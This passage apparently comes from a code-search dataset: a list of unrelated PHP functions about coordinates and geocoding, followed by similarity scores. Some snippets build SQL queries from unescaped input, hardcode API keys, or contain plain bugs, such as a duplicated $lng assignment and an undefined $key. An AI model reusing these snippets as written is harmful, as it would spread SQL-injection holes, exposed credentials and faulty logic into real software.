array(\n\t\t\t\t\t\tround($latlon['longitude'],6),\n\t\t\t\t\t\tround($latlon['latitude'],6)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}", "public function test_make_coordinates_0()\n {\n $coord = \"52° 32' 25\\\" N,\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], null);\n $this->assertEquals($dd[1], null);\n }", "function XYZ($POS) {\n global $posx; // X coordinate\n global $posy; // Y coordinate (altitude)\n global $posz; // Z coordinate\n\n // remove slashes and spaces\n $POS = preg_replace(\"/\\(/\",\"\",$POS);\n $POS = preg_replace(\"/\\)/\",\"\",$POS);\n $POS = preg_replace(\"/ /\",\"\",$POS);\n $Part = explode(\",\",$POS,3); // split into X, Y and Z at \",\"\n $posx = trim($Part[0]);\n $posy = trim($Part[1]);\n $posz = trim($Part[2]);\n}", "public function updateCoordinates(){\n $newCoffeeDrops= CoffeeDrop::select('postcode')->whereNull('latitude')->pluck('postcode');\n foreach ($newCoffeeDrops as $postcode) {\n $coordinates = $this->getCoordinates($postcode);\n\n //adds lat and lon value based on results from http://postcodes.io/\n CoffeeDrop::where('postcode', $postcode)->update(array('latitude'=>$coordinates['latitude'],'longitude'=>$coordinates['longitude']));\n\n }\n\n return CoffeeDrop::select('postcode','latitude','longitude')->get();;\n }", "function helperReverseGeocode($lat, $lng) {\n\t\t$addressData = array();\n\t\t$lng = floatval($lat);\n\t\t$lng = floatval($lat);\n\n\t\tif ($key == '' || $lng == 0 || $lat == 0 ) {\n\t\t\treturn $addressData;\n\t\t}\n\n\t\t$coords\t\t= $lat . ',' . $lng;\n\t\t$url\t\t\t= 'http://maps.google.com/maps/geo?q='.$coords.'&output=json&oe=utf8&sensor=false&key='.$this->config['mapKey'];\n\t\t$address\t= json_decode(t3lib_div::getURL($url));\n\n\t\t// get the response\n\t\tif ($address->Status->code == '200' && count($address->Placemark) > 0) {\n\t\t\t$addressObj = $address->Placemark[0];\n\n\t\t\t$addressData['all']\t\t\t\t\t= $addressObj->address;\n\t\t\t$addressData['country']\t\t\t= $addressObj->AddressDetails->Country->CountryName;\n\t\t\t$addressData['countryshort']= $addressObj->AddressDetails->Country->CountryNameCode;\n\t\t\t$addressData['region']\t\t\t= $addressObj->AddressDetails->Country->AdministrativeArea->AdministrativeAreaName;\n\t\t\t$addressData['subarea']\t\t\t= $addressObj->AddressDetails->Country->AdministrativeArea->SubAdministrativeArea->SubAdministrativeAreaName;\n\t\t\t$addressData['city']\t\t\t\t= $addressObj->AddressDetails->Country->AdministrativeArea->SubAdministrativeArea->Locality->LocalityName;\n\t\t\t$addressData['zip']\t\t\t\t\t= $addressObj->AddressDetails->Country->AdministrativeArea->SubAdministrativeArea->Locality->PostalCode->PostalCodeNumber;\n\t\t\t$addressData['address']\t\t\t= $addressObj->AddressDetails->Country->AdministrativeArea->SubAdministrativeArea->Locality->Thoroughfare->ThoroughfareName;\n\t\t}\n\n\t\treturn $addressData;\n\t}", "function distance($lat1,$lon1,$lat2,$lon2){\n $delta_lat = $lat2-$lat1;\n $delta_lon = $lon2-$lon1;\n return (($delta_lat * $delta_lat) + ($delta_lon * $delta_lon));\n}", "function setCoords($a_coords)\n\t{\n\t\t$this->coords = $a_coords;\n\t}", "public static function makeCoordinates($point)\n {\n $loc = preg_replace(array('/[\\p{Z}\\s]/u', '/[^\\d\\s,;.\\-NSEWO°ºdms\\'\"]/i'), array(' ', \"\"), $point);\n if (preg_match('/[NSEWO]/', $loc) != 0) {\n $coord = preg_split(\"/[,;]/\", $loc); //split by comma or semicolon\n if (count($coord) != 2 || empty($coord[1])) {\n return array(null, null);\n }\n $coord = (preg_match('/[EWO]/', $coord[1]) != 0) ? $coord : array_reverse($coord);\n return array(self::dmsToDeg(trim($coord[0])),self::dmsToDeg(trim($coord[1])));\n } else {\n $coord = preg_split(\"/[\\s,;]+/\", trim(preg_replace(\"/[^0-9-\\s,;.]/\", \"\", $loc))); //split by space, comma, or semicolon\n if (count($coord) != 2 || empty($coord[1])) {\n return array(null, null);\n }\n return $coord;\n }\n }", "function location_cmn($lat, $long, $usegeolocation, $customerno = null) {\n $address = NULL;\n $customerno = (!isset($customerno)) ? $_SESSION['customerno'] : $customerno;\n if (isset($lat) && isset($long)) {\n $GeoCoder_Obj = new GeoCoder($customerno);\n $address = $GeoCoder_Obj->get_location_bylatlong($lat, $long);\n }\n return $address;\n}", "function getCoordination($address){\r\n $address = str_replace(\" \", \"+\", $address); // replace all the white space with \"+\" sign to match with google search pattern\r\n \r\n $url = \"http://maps.google.com/maps/api/geocode/json?sensor=false&address=$address\";\r\n \r\n $response = file_get_contents($url);\r\n \r\n $json = json_decode($response,TRUE); //generate array object from the response from the web\r\n\r\n $latitude = ($json[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]);\r\n $longitude = ($json[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]);\r\n\r\n return array(\"latitude\" => $latitude, \"longitude\" => $longitude);\r\n }", "function guifi_get_map_info($node) {\n $map_info = array();\n \n // Obtenim les variables de retall del mapa. \n // - (X,Y) ó (UTMx, UTMy) ó (Lon,Lat)\n $map_info['datum'] = 5;\n $map_info['zone'] = 31;\n $map_info['nord'] = 1;\n $map_info['xPixel'] = isset($_GET[\"xPixel\"]) ? $_GET[\"xPixel\"] : $_POST[\"xPixel\"];\n $map_info['yPixel'] = isset($_GET[\"yPixel\"]) ? $_GET[\"yPixel\"] : $_POST[\"yPixel\"];\n $map_info['xUTM'] = isset($_GET[\"xUTM\"]) ? $_GET[\"xUTM\"] : $_POST[\"xUTM\"];\n $map_info['yUTM'] = isset($_GET[\"yUTM\"]) ? $_GET[\"yUTM\"] : $_POST[\"yUTM\"];\n $map_info['londec'] = isset($_GET[\"londec\"]) ? $_GET[\"londec\"] : $_POST[\"londec\"];\n $map_info['latdec'] = isset($_GET[\"latdec\"]) ? $_GET[\"latdec\"] : $_POST[\"latdec\"];\n $map_info['lon'] = isset($_GET[\"lon\"]) ? $_GET[\"lon\"] : $_POST[\"lon\"];\n $map_info['lat'] = isset($_GET[\"lat\"]) ? $_GET[\"lat\"] : $_POST[\"lat\"];\n // - Zoom ó Dist\n $map_info['zoom'] = isset($_GET[\"zoom\"]) ? $_GET[\"zoom\"] : $_POST[\"zoom\"];\n $map_info['dist'] = isset($_GET[\"dist\"]) ? $_GET[\"dist\"] : $_POST[\"dist\"];\n if ( !isset($map_info['xPixel']) || !isset($map_info['yPixel'])) {\n $map_info['xPixel'] = 0;\n $map_info['yPixel'] = 0;\n }\n if ( !isset($map_info['zoom']) )\n $map_info['zoom'] = 0;\n\n \n // Comprovem les dades i les transformem en X, Y, S\n $map_info['width'] = $map_info['height'] = 500; // This variables will are in drupal\n $map_info['quadrants'] = 3; // This variables will are in drupal\n $image_info = guifi_get_image_info ( guifi_get_file_map_zone($node) );\n \n // Find max scale of de map to draw from zoom of this view\n $map_info['maxRel'] = $image_info['width'] / $map_info['width'];\n if ( $map_info['maxRel'] < $image_info['height'] / $map_info['height'] )\n $map_info['maxRel'] = $image_info['height'] / $map_info['height'];\n $map_info['maxScale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $node->valid ) {\n // Calcule dist of original map and his relation\n $point_zero = guifi_pixel2UTM ($node->coord, 0, 0);\n $point_right = guifi_pixel2UTM ($node->coord, $image_info['width']-1, 0);\n $point_bottom = guifi_pixel2UTM ($node->coord, 0, $image_info['height']-1);\n \n $map_info['distX'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_right[0], $point_right[1]);\n $map_info['distY'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_bottom[0], $point_bottom[1]);\n }\n\n // Find de scale to draw the map\n if ( $node->valid && isset($map_info['dist']) && is_numeric($map_info['dist']) ) {\n // Find scale of de map to draw from dist of this view\n $map_info['maxRel'] = ( $image_info['width'] * $map_info['dist'] ) / ( $map_info['distX'] * $map_info['width'] );\n if ( $map_info['maxRel'] < ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] ) )\n $map_info['maxRel'] = ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] );\n \n $map_info['scale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $map_info['scale'] > $map_info['maxScale'] ) \n $map_info['scale'] = $map_info['maxScale'];\n $map_info['zoom'] = $map_info['maxScale'] - $map_info['scale'];\n }\n if ( isset($map_info['zoom']) ) {\n // Recalcule de zoom to a correct zoom\n if ( $map_info['zoom'] > $map_info['maxScale'] )\n $map_info['zoom'] = $map_info['maxScale'];\n $map_info['scale'] = $map_info['maxScale'] - $map_info['zoom'];\n }\n \n if ( $node->valid ) {\n if ( isset($map_info['lon']) && isset($map_info['lat']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $map_info['londec'] = text2Coord($map_info['lon']);\n $map_info['latdec'] = text2Coord($map_info['lat']);\n }\n if ( isset($map_info['londec']) && isset($map_info['latdec']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $point = guifi_WG842UTM ($map_info['londec'], $map_info['latdec'], $map_info['datum'], $map_info['zone'], $map_info['nord']);\n $map_info['xUTM'] = $point[0];\n $map_info['yUTM'] = $point[1];\n }\n if ( isset($map_info['xUTM']) && isset($map_info['yUTM']) ) {\n // Transform UTM's corrdinates to Pixel Coordinates\n $point = guifi_UTM2pixel ($node->coord, $map_info['xUTM'], $map_info['yUTM']);\n $map_info['xPixel'] = $point[0];\n $map_info['yPixel'] = $point[1];\n }\n }\n\n // Find quadrants of de map scaled.\n $map_info['width_quadrant'] = $map_info['width'] / $map_info['quadrants'] ;\n $map_info['height_quadrant'] = $map_info['height'] / $map_info['quadrants'] ;\n $quadrantsX = ceil (( $image_info['width'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadrantsY = ceil (( $image_info['height'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n\n // Find de quadrant center of de map scaled from pixel x,y in center.\n $quadCentX = floor (( $map_info['xPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadCentY = floor (( $map_info['yPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n \n // Find de quadrant top-left of de map scaled from pixel x,y in center.\n $map_info['quadX'] = $quadCentX - floor( $map_info['quadrants'] / 2 );\n $map_info['quadY'] = $quadCentY - floor( $map_info['quadrants'] / 2 );\n if ( $map_info['quadX'] > $quadrantsX - $map_info['quadrants'] )\n $map_info['quadX'] = $quadrantsX - $map_info['quadrants'];\n if ( $map_info['quadY'] > $quadrantsY - $map_info['quadrants'] )\n $map_info['quadY'] = $quadrantsY - $map_info['quadrants'];\n if ( $map_info['quadX'] < 0 ) $map_info['quadX'] = 0;\n if ( $map_info['quadY'] < 0 ) $map_info['quadY'] = 0;\n\n // Recalcule the width and heigth of scaled image\n if ( $map_info['quadX'] >= $quadrantsX - $map_info['quadrants'] ) \n $map_info['width'] = floor( ($image_info['width'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadX'] * $map_info['width_quadrant'] ));\n if ( $map_info['quadY'] >= $quadrantsY - $map_info['quadrants'] ) \n $map_info['height'] = floor( ($image_info['height'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadY'] * $map_info['height_quadrant'] ));\n\n // Calculem la distància de la màxima de la imatge\n if ( $node->valid ) {\n if ( $map_info['width'] < $map_info['height'] )\n $map_info['dist'] = floor($map_info['distX'] * ( $map_info['width'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['width']);\n else\n $map_info['dist'] = floor($map_info['distY'] * ( $map_info['height'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['height']);\n }\n \n/*\n echo \"<br />quadrantsX: \".$quadrantsX;\n echo \"<br />quadrantsY: \".$quadrantsY;\n echo \"<br />map_width: \".$image_info['width'];\n echo \"<br />map_height: \".$image_info['height'];\n*/ \n/*\n echo \"<br />datum: \".$map_info['datum'];\n echo \"<br />zone: \".$map_info['zone'];\n echo \"<br />nord: \".$map_info['nord'];\n echo \"<br />zoom: \".$map_info['zoom'];\n echo \"<br />dist: \".$map_info['dist'];\n echo \"<br />scale: \".$map_info['scale'];\n echo \"<br />xPixel: \".$map_info['xPixel'];\n echo \"<br />yPixel: \".$map_info['yPixel'];\n echo \"<br />xUTM: \".$map_info['xUTM'];\n echo \"<br />yUTM: \".$map_info['yUTM'];\n echo \"<br />lon: \".$map_info['londec'];\n echo \"<br />lan: \".$map_info['latdec'];\n\n echo \"<br />quadX: \".$map_info['quadX'];\n echo \"<br />quadY: \".$map_info['quadY'];\n echo \"<br />width: \".$map_info['width'];\n echo \"<br />height: \".$map_info['height'];\n*/ \n\n return $map_info;\n}", "function index_latlng( $params, $class ) {\n\n $facet = FWP()->helper->get_facet_by_name( $params['facet_name'] );\n\n if ( false !== $facet && 'proximity' == $facet['type'] ) {\n $latlng = $params['facet_value'];\n\n // Only handle \"lat, lng\" strings\n if ( is_string( $latlng ) ) {\n $latlng = preg_replace( '/[^0-9.,-]/', '', $latlng );\n\n if ( ! empty( $facet['source_other'] ) ) {\n $other_params = $params;\n $other_params['facet_source'] = $facet['source_other'];\n $rows = $class->get_row_data( $other_params );\n\n if ( false === strpos( $latlng, ',' ) ) {\n $lng = $rows[0]['facet_display_value'];\n $lng = preg_replace( '/[^0-9.,-]/', '', $lng );\n $latlng .= ',' . $lng;\n }\n }\n\n if ( preg_match( \"/^([\\d.-]+),([\\d.-]+)$/\", $latlng ) ) {\n $latlng = explode( ',', $latlng );\n $params['facet_value'] = $latlng[0];\n $params['facet_display_value'] = $latlng[1];\n }\n }\n }\n\n return $params;\n }", "public function gpsToMercator($gps_lat, $gps_lng)\n {\n $x = $gps_lng * 20037508.34 / 180.;\n $y = log(tan((90. + $gps_lat) * $this->PI / 360.)) / ($this->PI / 180.);\n $y = $y * 20037508.34 / 180.;\n return array('lat' => $y, 'lng' => $x);\n }", "public function test_make_coordinates_1()\n {\n $coord = \"-120\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], null);\n $this->assertEquals($dd[1], null);\n }", "function get_city($lat, $lon) {\n\t\treturn \"hello\";\n\t}", "public function toArray()\n {\n return [\n 'latitude' => $this->latitude,\n 'longitude' => $this->longitude,\n ];\n }", "public function toArray()\n {\n return array(\n \"lat\" => $this->lat,\n \"lng\" => $this->lng\n );\n }", "public function __construct($lat, $lon)\n {\n $this->currentLat = deg2rad($lat);\n $this->currentLon = deg2rad($lon);\n }", "public function get_longitude()\n {\n }", "public function get_longitude()\n {\n }", "function getLatitude($string)\r\n{\r\n\t$coordinate = strstr($string, 'lat=');\r\n\t$coordinate = strstr($coordinate, '&', true);\r\n\t$coordinate = substr($coordinate, 4);\r\n\treturn $coordinate;\r\n}", "function sm_get_by_lat_long($lat,$long)\n\t{\n\t\tglobal $mp_handle;\n\t\t$n_lat = @mysqli_real_escape_string($mp_handle,strip_tags($lat));\n\t\t$n_long = @mysqli_real_escape_string($mp_handle,strip_tags($long));\n\t\t\n\t\t$result = mysqli_query($mp_handle , \"SELECT * FROM `system_machine` WHERE `sm_lat` = '$n_lat'\");\n\t\t$rows = mysqli_fetch_row($result);\n\t\t//$rows = $result->fetch_object();\n\t\tif($rows != NULL){\n\t\t\t$qry = $rows;\n\t\t}else{\n\t\t\t$resLong = mysqli_query($mp_handle , \"SELECT * FROM `system_machine` WHERE `sm_long` = '$n_long'\");\n\t\t\t$rowsLong = mysqli_fetch_row($resLong);\n\t\t\tif($rowsLong != NULL){\n\t\t\t\t$qry = $rowsLong;\n\t\t\t}else{\n\t\t\t\t$qry = NULL;\n\t\t\t}\n\t\t}\n\t\treturn $qry;\n\t}", "function process_google_geocoder($data) {\n\t\t$data = explode(',', $data);\n\t\t$return[0] = $data[3] + 0;\n\t\t$return[1] = $data[2] + 0;\n\t\treturn $return;\n\t}", "function get_buffer_polygone_for_point_wkt($lon,$lat,$d_metres){\n \n $points = array();\n for($i = 0; $i < 360; $i = $i + 10){\n $points[] = get_point_for_distance($lon,$lat,$d_metres / 1000,$i);\n }\n \n // print_r($points);\n \n $out = \"POLYGON((\";\n for($i = 0; $i < count($points); $i++){\n if($i > 0) $out .= ', ';\n $out .= implode(' ', $points[$i]);\n }\n $out .= ', ' . implode(' ', $points[0]); // ends with start point\n $out .= \"))\";\n \n return $out;\n \n}", "function find_matrix($lat1, $lon1, $lat2, $lon2)\n{\n\n $miles = distance($lat1, $lon1, $lat2, $lon2, 'M');\n $kilo = distance($lat1, $lon1, $lat2, $lon2, 'K');\n\n return ['m' => $miles, 'k' => $kilo];\n}", "function getXTile( $lat, $lon, $zoom ) {\n return floor((($lon + 180) / 360) * pow(2, $zoom));\n}", "public function getCoord(){\n return $this->coord;\n }", "function amap_ma_save_object_coords($location, $object, $pluginname, $lat_g = '', $lng_g = '') {\n if ($lat_g && $lng_g) {\n $lat = $lat_g;\n $lng = $lng_g;\n } else if ($location) {\n $prefix = elgg_get_config('dbprefix');\n $coords = amap_ma_geocode_location($location);\n\n if ($coords) {\n $lat = $coords['lat'];\n $lng = $coords['long'];\n }\n }\n\n if ($lat && $lng) {\n $prefix = elgg_get_config('dbprefix');\n $object->setLatLong($lat, $lng);\n $query = \"INSERT INTO {$prefix}entity_geometry (entity_guid, geometry)\n VALUES ({$object->guid}, GeomFromText('POINT({$lat} {$lng})'))\n ON DUPLICATE KEY UPDATE geometry=GeomFromText('POINT({$lat} {$lng})')\";\n\n insert_data($query);\n\n return true;\n }\n\n return false;\n}", "function fetchGoogleLatitudeLocation ($user_id) {\n $r = array();\n $google_latitude_data = json_decode(file_get_contents(\"https://www.google.com/latitude/apps/badge/api?user=$user_id&type=json\"));\n $r['longitude'] = $google_latitude_data->features[0]->geometry->coordinates[0];\n $r['latitude'] = $google_latitude_data->features[0]->geometry->coordinates[1];\n $r['current_city'] = $google_latitude_data->features[0]->properties->reverseGeocode;\n $r['last_updated'] = $google_latitude_data->features[0]->properties->timeStamp;\n $r['raw'] = $google_latitude_data; // So that we have it all, if we need it.\n return $r;\n }", "function is_longlat ($longlat) {\n\n\t\t$return = true;\n\t\t$split = explode(\",\", $longlat);\n\t\tif(sizeof($split) != 2){\n\t\t\t$return = false;\n\t\t}else{\n\t\t\tif (!is_numeric(str_replace(\"-\", \"\", $split[0]))){\n\t\t\t\t$return = false;\n\t\t\t}\n\t\t\tif (!is_numeric(str_replace(\"-\", \"\", $split[1]))){\n\t\t\t\t$return = false;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $return;\n\n\t}", "function get_buffer_polygone_for_point_ql($lon,$lat,$d_metres){\n \n $points = array();\n for($i = 0; $i < 360; $i = $i + 10){\n $points[] = get_point_for_distance($lon,$lat,$d_metres / 1000,$i);\n }\n \n // print_r($points);\n \n $out = \"(poly: \\\"\";\n foreach($points as $p){\n $point = array_reverse($p);\n $out .= implode(' ', $point);\n $out .= ' ';\n }\n \n $out .= \"\\\")\";\n return $out;\n}", "public function testGetLatLongFailTwo()\n {\n $res = $this->weather->getLatLong(\"sdgdf, dfghfgh\");\n // var_dump($res);\n $exp1 = null;\n $exp2 = null;\n $this->assertEquals($exp1, $res[\"latitude\"]);\n $this->assertEquals($exp2, $res[\"longitude\"]);\n }", "public function test_make_coordinates_5()\n {\n $coord = \"52.5\\t-89.0\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], 52.5);\n $this->assertEquals($dd[1], -89.0);\n }", "function distance($lat_1, $lon_1, $lat_2, $lon_2) {\n\n $radius_earth = 6371; // Радиус Земли\n\n $lat_1 = deg2rad($lat_1);\n $lon_1 = deg2rad($lon_1);\n $lat_2 = deg2rad($lat_2);\n $lon_2 = deg2rad($lon_2);\n\n $d = 2 * $radius_earth * asin(sqrt(sin(($lat_2 - $lat_1) / 2) ** 2 + cos($lat_1) * cos($lat_2) * sin(($lon_2 - $lon_1) / 2) ** 2));\n//\n return number_format($d, 2, '.', '');\n}", "public function test_dd_symbols()\n {\n $coord = \" 49.129774° 46.677716°\";\n $dd = \\SimpleMappr\\Mappr::makeCoordinates($coord);\n $this->assertEquals($dd[0], 49.129774);\n $this->assertEquals($dd[1], 46.677716);\n }", "function getCoordinates($address){\r\n\t$key = \"AIzaSyA2PDrfTTbXNZKOn15K-VbWgLfdTevM3qw\";\r\n\t$url = \"https://maps.googleapis.com/maps/api/geocode/json?address=\".urlencode($address).\"&sensor=false&key=\".$key;\r\n\t$json = file_get_contents($url);\r\n\t$results = json_decode($json, true);\r\n\r\n\t$stack = array();\r\n\t$status = $results['status'];\r\n\tif ($status == \"OK\") {\r\n\t\t$lat = $results['results']['0']['geometry']['location']['lat'];\r\n\t\tarray_push($stack, $lat);\r\n\t\t$lng = $results['results']['0']['geometry']['location']['lng'];\r\n\t\tarray_push($stack, $lng);\r\n\t}\r\n\telse{\r\n\t\techo \"ERREUR DE GOOGLE GEOCODE API\";\r\n\t\t$incase = array();\r\n\t\tarray_push($stack, 48.853396);\r\n\t\tarray_push($stack, 2.348779);\r\n\t\treturn $incase;\r\n\t}\r\n\t\r\n\treturn $stack;\r\n}", "function distance($lat1, $lon1, $lat2, $lon2)\n{\n if (($lat1 == $lat2) && ($lon1 == $lon2)) {\n return 0;\n } else {\n $theta = $lon1 - $lon2;\n $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) + cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta));\n $dist = acos($dist);\n $dist = rad2deg($dist) * 60 * 1.853159616;\n return $dist;\n }\n}", "public function __construct($lat,$lng) {\n\t\t$this->lat = $lat;\n\t\t$this->lng = $lng;\n\t}", "function dibujar_Cerca($lat1,$lat2,$lat3,$lat4,$lng1,$lng2,$lng3,$lng4,$connection,$user,$name){\n\t$query = \"INSERT INTO id_cercas(lat1,lat2,lat3,lat4,lng1,lng2,lng3,lng4,user,name) VALUES('$lat1','$lat2','$lat3','$lat4','$lng1','$lng2','$lng3','$lng4','$user','$name')\";\n\t$resultado = $connection->query($query);\n\t\n}", "public static function getLocationFromCoordinate($lat, $long)\n {\n\n $data = self::getData($lat, $long);\n\n $country = \"\";\n $adminAreas = array();\n $topAdminArea = \"\";\n $locality = \"\";\n $sublocality = \"\";\n $postalCode = \"\";\n $route = \"\";\n $formattedAddress = \"\";\n\n if (count($data['results']) > 0) {\n \t\t \n \t\tforeach($data['results'][0]['address_components'] as $current_entry) {\n \t\t\t \n \t\t\tforeach($current_entry['types'] as $current_entry2) {\n \t\t\t\t \n \t\t\t\tif ($current_entry2 == 'route') {\n if ($route == \"\") { $route = $current_entry['long_name']; }\n \t\t\t\t}\n \t\t\t\telseif ($current_entry2 == 'sublocality') {\n if ($sublocality == \"\") { $sublocality = $current_entry['long_name']; }\n \t\t\t\t}\n \t\t\t\telseif ($current_entry2 == 'locality') {\n if ($locality == \"\") { $locality = $current_entry['long_name']; }\n \t\t\t\t}\n elseif ($current_entry2 == 'postal_code') {\n if ($postalCode == \"\") { $postalCode = $current_entry['long_name']; }\n }\n \t\t\t\telseif ($current_entry2 == 'country') {\n if ($country == \"\") { $country = $current_entry['short_name']; }\n \t\t\t\t}\n elseif (substr($current_entry2, 0, 25) == 'administrative_area_level') {\n \n $key = substr($current_entry2, -1);\n $adminAreas[$key] = $current_entry['long_name'];\n \n }\n \t\t\t}\n \t\t\t \n \t\t}\n \n if (array_key_exists('formatted_address', $data['results'][0])) {\n \n $formattedAddress = $data['results'][0]['formatted_address'];\n \n }\n \t\t \n \t}\n \n if (array_key_exists('1', $adminAreas)) {\n $topAdminArea = $adminAreas['1'];\n }\n else {\n \n if (array_key_exists('2', $adminAreas)) {\n $topAdminArea = $adminAreas['2'];\n }\n else {\n \n if (array_key_exists('3', $adminAreas)) {\n $topAdminArea = $adminAreas['3'];\n }\n else {\n \n if (array_key_exists('4', $adminAreas)) {\n $topAdminArea = $adminAreas['4'];\n }\n else {\n \n if (array_key_exists('5', $adminAreas)) {\n $topAdminArea = $adminAreas['5'];\n }\n\n }\n\n }\n\n }\n \n }\n \n $nickname = \"\";\n \n if($route != \"\") { $nickname = $route.\" \"; }\n if($locality != \"\") { $nickname = $nickname.$locality.\" \"; }\n if($sublocality != \"\") { $nickname = $nickname.\"- \".$sublocality.\" \"; }\n \t \n \tif (strlen($nickname) < 2) {\n \t\t$characters1 = 'aeiou';\n \t\t$characters2 = 'bcdfghjklmnpqrstvwxyz';\n \t\t$nickname = '';\n \t\tfor ($j = 0; $j < 3; $j++) {\n \t\t\t$nickname .= $characters1[rand(0, strlen($characters1) - 1)];\n \t\t\t$nickname .= $characters2[rand(0, strlen($characters2) - 1)];\n \t\t}\n \t\t$nickname .= \" \";\n \t\t$nickname = ucfirst($nickname);\n \t\t \n \t}\n \t \n if($country != \"\") { $nickname = $nickname.\"(\".$country.\")\"; }\n\n \t$locationObject = new SimpleLocation();\n \n $locationObject->latitude = $lat;\n $locationObject->longitude = $long;\n $locationObject->administrativeArea = $topAdminArea;\n $locationObject->city = $locality;\n $locationObject->countryCode = $country;\n $locationObject->postalCode = $postalCode;\n $locationObject->route = $route;\n $locationObject->nickname = $nickname;\n $locationObject->formattedAddress = $formattedAddress;\n \n return $locationObject;\n \n }", "function locations_search($lat, $lon, $connection, $start = 0)\n{\n\t$db_selected = mysql_select_db(Secure::DB_DATABASE, $connection);\n\t$sql = \"select organization_location.address , organization_location.city , organization_location.state , organization_location.zip , organization_location.latitude , organization_location.longitude from organization_location where latitude <= {$lat} + 0.1 and latitude >= {$lat} - 0.1 and longitude <= {$lon} + 0.1 and longitude >= {$lon} - 0.1 and remove_approved = 0\";\n\t$sql = $sql.\" limit {$start},\".LIMIT;\n\tif(!($resource = @ mysql_query($sql, $connection)))\n\t\tshowerror();\n\t\t//echo $sql;\n\telse\n\t\treturn $resource;\n}", "protected function extractGpsCoordinate(array $data)\n {\n // make sure we always have 3 components\n $default = [0, 0, 0];\n $data = array_replace($default, $data);\n\n // normalize the components\n array_walk($data, array($this, 'normalizeCoordinatePartData'));\n\n // convert to digital degrees\n return floatval($data[0]) + floatval($data[1]/60) + floatval($data[2]/3600);\n }", "public function getCoordinates(): array\n {\n return $this->coordinates;\n }", "function get_gps($mcc, $mnc, $lac, $cellid) {\r\n $gps_data = \"\";\r\n $key = \"f0d88cf6-3a80-4f12-830d-f4b8fd1f06b0\";\r\n\r\n ///JSON CODE\r\n //$URL = \"http://opencellid.org/cell/get?key=\".$key.\"&mcc=\".$mcc.\"&mnc=\".$mnc.\"&lac=\".$lac.\"&cellid=\".$cellid.\"&format=json\"; \r\n $URL = \"http://opencellid.org/cell/get?key=$key&mcc=$mcc&mnc=$mnc&lac=$lac&cellid=$cellid&format=json\";\r\n\r\n $raw = @file_get_contents($URL);\r\n $json_data = json_decode($raw);\r\n\r\n //var_dump($json_data);\r\n echo \"<br>\";\r\n //$json = '{\"foo-bar\": 12345}';\r\n //$obj = json_decode($json);\r\n //echo \"lon=\". $json_data->{'lon'}; // 12345\r\n\r\n $gps_data = $json_data->{'lat'} . \",\" . $json_data->{'lon'};\r\n return $gps_data;\r\n}", "public static function destinationPoint($lat, $lng, $brng, $dist) {\r\n \t//$meters = $dist/3.2808399; // dist in meters\r\n \t//$dist = $meters/1000; // dist in km\r\n \t$rad = 6371.2; // earths mean radius\r\n \t$dist = $dist/$rad; // convert dist to angular distance in radians\r\n \t$brng = deg2rad($brng); // conver to radians\r\n \t$lat1 = deg2rad($lat);\r\n \t$lon1 = deg2rad($lng);\r\n \r\n \t$lat2 = asin(sin($lat1)*cos($dist) + cos($lat1)*sin($dist)*cos($brng) );\r\n \t$lon2 = $lon1 + atan2(sin($brng)*sin($dist)*cos($lat1),cos($dist)-sin($lat1)*sin($lat2));\r\n \t$lon2 = fmod($lon2 + 3*M_PI, 2*M_PI) - M_PI;\r\n \t$lat2 = rad2deg($lat2);\r\n \t$lon2 = rad2deg($lon2);\r\n \r\n \treturn array(\"lat\"=>$lat2, \"lon\"=>$lon2);\r\n \t\r\n }", "public function coordenadasDefaut(){\r\n\t\t$this->x_punto_destino=0;\r\n\t\t$this->y_punto_destino=0;\r\n\t\t$this->x_punto_origen=0;\r\n\t\t$this->y_punto_origen=0;\r\n\t}" ]
[ "0.64775723", "0.62478435", "0.6243719", "0.6192542", "0.6093774", "0.6090684", "0.6062934", "0.60463214", "0.6027536", "0.60140973", "0.59980077", "0.5987131", "0.598292", "0.59468174", "0.59453714", "0.59408784", "0.59397376", "0.5855697", "0.5816762", "0.58161503", "0.57897395", "0.5786829", "0.57810146", "0.57810146", "0.5760362", "0.57493067", "0.57377946", "0.57246166", "0.5689685", "0.5685942", "0.56786394", "0.56786394", "0.56767", "0.566165", "0.5656866", "0.56470287", "0.56420606", "0.5622104", "0.5615502", "0.5615461", "0.5615101", "0.55990815", "0.55946183", "0.55943906", "0.55897355", "0.55663514", "0.5564619", "0.5558847", "0.5549437", "0.5544698", "0.554175", "0.55364734", "0.55289894", "0.5516095", "0.55066544", "0.549323", "0.5468421", "0.54594547", "0.5447719", "0.54448146", "0.54390776", "0.5433407", "0.54295206", "0.54229283", "0.542275", "0.54129857", "0.5390015", "0.53869134", "0.5385968", "0.5384616", "0.5365603", "0.5329496", "0.5329487", "0.53223985", "0.53223157", "0.53195107", "0.53010386", "0.5280615", "0.52660173", "0.5262972", "0.5260986", "0.52520293", "0.5235283", "0.5233046", "0.5232856", "0.5232393", "0.5230686", "0.52300614", "0.5228775", "0.5227371", "0.5225778", "0.52246636", "0.5219297", "0.5218734", "0.5214255", 